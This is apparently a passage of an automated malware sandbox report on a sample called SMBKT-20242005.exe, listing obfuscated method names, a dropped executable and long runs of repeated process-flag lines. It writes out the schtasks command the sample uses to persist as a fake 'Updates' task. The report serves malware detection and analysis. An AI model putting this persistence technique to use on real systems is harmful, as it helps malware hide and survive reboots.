Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, ce1ejpw8LdIwajTb0f.cs	High entropy of concatenated method names: 'dcoNRlivRB', 'o7uNc9eLkG', 'ToString', 'C7FNqk4FLK', 'WjHNnuifyq', 'nf1NAY9Tla', 'wohN58uwda', 'MH3NmuBRaI', 'uGXNKWS4Tk', 'slENXtKK2o'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, IbTTDEyVr6AL8S6lDj.cs	High entropy of concatenated method names: 'x4fMVWiUNJ', 'RL7MBnFF8e', 'Yu1MIlBVEe', 'HW9MF7yp6q', 'iJJMJxXu0e', 's3EMOrPVpI', 'Next', 'Next', 'Next', 'NextBytes'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, zMYnEu9ZCOSuCGEhBb.cs	High entropy of concatenated method names: 'K7aSrk4my', 'AWQgdtPfL', 'dtaxU9b89', 'OYsZjWVsR', 'W5SPdCaDV', 'H0B7JlmlQ', 'zrvY1MUoaG5sdPSG2h', 'utq5JB7wsti1tLt06D', 'LHMMsshof', 'q8LG1eoDS'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, NJs0YFlEKbWeXGiHvfs.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BLtGJJ0OeX', 'hXxGkVCEU8', 'DmWGfp9eZ7', 'qnRGwR2OPd', 'EXLGHcxSl6', 'goPG8e8pPV', 'AxDGtnboLG'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, di2lf8dRSFuX6wdQ7h.cs	High entropy of concatenated method names: 'sIrsCy7tAE', 'uhgsPLtIuv', 'ClgsVCZ97H', 'fVnsBPGcll', 'X5vsFZ0rJo', 'mbTsO2stoS', 'jl0sW5ep78', 'hJus2odWt5', 'B5YsaHVQjN', 'WN1sYZBtZb'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, OxhSPylpYJmsvdgICHu.cs	High entropy of concatenated method names: 'JV1r3NiHgO', 'rLfrjIHUDH', 'jD6rSGTs0B', 'fOErg3cG1d', 'yMOrLEYMBY', 'LkKrxqviJD', 'LqdrZ0Vp4o', 'GynrCQ6c2s', 'DlrrPKegMM', 'CRQr7rIo5y'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, MOpw42XW44bQchxYdQ.cs	High entropy of concatenated method names: 'ohZE0kHFqm', 'eVvEqJOhNO', 'IcnEn1EjOe', 'pnAEAhnxpm', 'bRdE5daMAw', 'PXsEmPCQOZ', 'bLIEK20mV5', 'ON4EXTPAWQ', 'WXhEe4hYE7', 'K7VERjKIoE'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, BO0nenn1KpnpOn007K.cs	High entropy of concatenated method names: 'Dispose', 'zbBly9tI9M', 'Jq99BpeD4U', 'suoKKh3DfW', 'nkBlQ2hbuw', 'BADlz77RFA', 'ProcessDialogKey', 'ytI9pbTTDE', 'Gr69lAL8S6', 'bDj993vFhJ'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, JAGbyhU8trpxhEj6kj.cs	High entropy of concatenated method names: 'XrklKVSMvv', 'MGPlXKFxIW', 'mr8lRERwiG', 'zsrlc12d1Z', 'Cwtlbn30MN', 'kW1l67tx8g', 'TwapTPZFOtcSeT5h7V', 'RT7EmheVIcGalSnnx8', 'pLnllU3NK6', 'dAQlEDS29x'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, McTFqUJVJBW9WkAeJ8.cs	High entropy of concatenated method names: 'nRZbai7utf', 'fZlbhKR8NK', 'LEfbJDYxHK', 'FnGbk62I3n', 'u5tbBVjkev', 'rjKbIghQ9c', 'jnXbFqnSxP', 'gZ3bOrGxPQ', 'M7eb4f5ALs', 'cxmbW1UrSC'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, RVSMvvC2GPKFxIWs0H.cs	High entropy of concatenated method names: 'OutnJusoe2', 'CkDnkApeRV', 'kROnfV6bC0', 'g7dnwNluSh', 'hQRnH8dqYq', 'n3en8Amxsu', 'qgNntathyO', 'Ftmno54rSC', 'pilnyA4ohL', 'NXmnQkZyOP'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, eMNXW1V7tx8gMVO5Nm.cs	High entropy of concatenated method names: 'KJOm0YSZ94', 'jpZmnovuyi', 'uEbm5jRCbk', 'isJmK3hS8J', 'iODmXgtOkR', 'Fwc5HO4La9', 'CZG58grc5n', 'eTg5tvE7nn', 'oav5ooVngJ', 'FZj5yKOB1D'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, j8T3WcPr8ERwiGSsr1.cs	High entropy of concatenated method names: 'R4qAg6unTC', 'OfMAxGJNuB', 'wITAC75S36', 'hVkAPjv7mI', 'TMTAbuYYPM', 'O5MA6bgph4', 'WGfANVmibh', 'RkfAMAZL0g', 'hSKArKKmKo', 'XlFAGW5vKV'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, GdfDcr8tpxZ8CIFGQi.cs	High entropy of concatenated method names: 'dAuNo8cajN', 'gX6NQmbrx9', 'Nr0Mpj0Rqb', 'x2JMl00UEB', 'yysNYF1L8h', 'BneNh2LD2w', 'MC0Nd2MeS7', 'iQkNJ9GHkw', 'aIjNkoLyl3', 'FIrNf0MYEQ'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, hZF5sRzoC3nsU4Lu7S.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uB7rsC5v4G', 't7crbuvK84', 'Ds5r69Mgp9', 'tBjrNFTDQe', 'XPRrMWWLQf', 'qW4rrUDjPV', 'XRrrGfR5lX'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, ngOt4sfBWRhu2ZJStX.cs	High entropy of concatenated method names: 'ToString', 'Dvu6YTklsH', 'rAe6BmrqGQ', 'N946IPCfrh', 'CZo6F2yWna', 'Jjs6OiooHn', 'Sl86450h33', 'QDa6W9TUKn', 'TLE62al4jN', 'ooN6TNZlu8'
Source: 1.2.SMBKT-20242005.exe.76c0000.11.raw.unpack, DZq3j4WtyiAntFwYx5.cs	High entropy of concatenated method names: 'mTZKqBG8W7', 'd4ZKAWlwe8', 'lMlKm7jhde', 'CxAmQyj78x', 'cp1mzZLAqh', 'gR5KpV1N30', 'DvpKlKuFvW', 'FXHK9NQiat', 'oWsKEKmCZI', 'v1lKUxQmjD'

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

File created: C:\Users\user\AppData\Roaming\joUXSCpr.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\SMBKT-20242005.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\joUXSCpr" /XML "C:\Users\user\AppData\Local\Temp\tmp6AB.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SMBKT-20242005.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
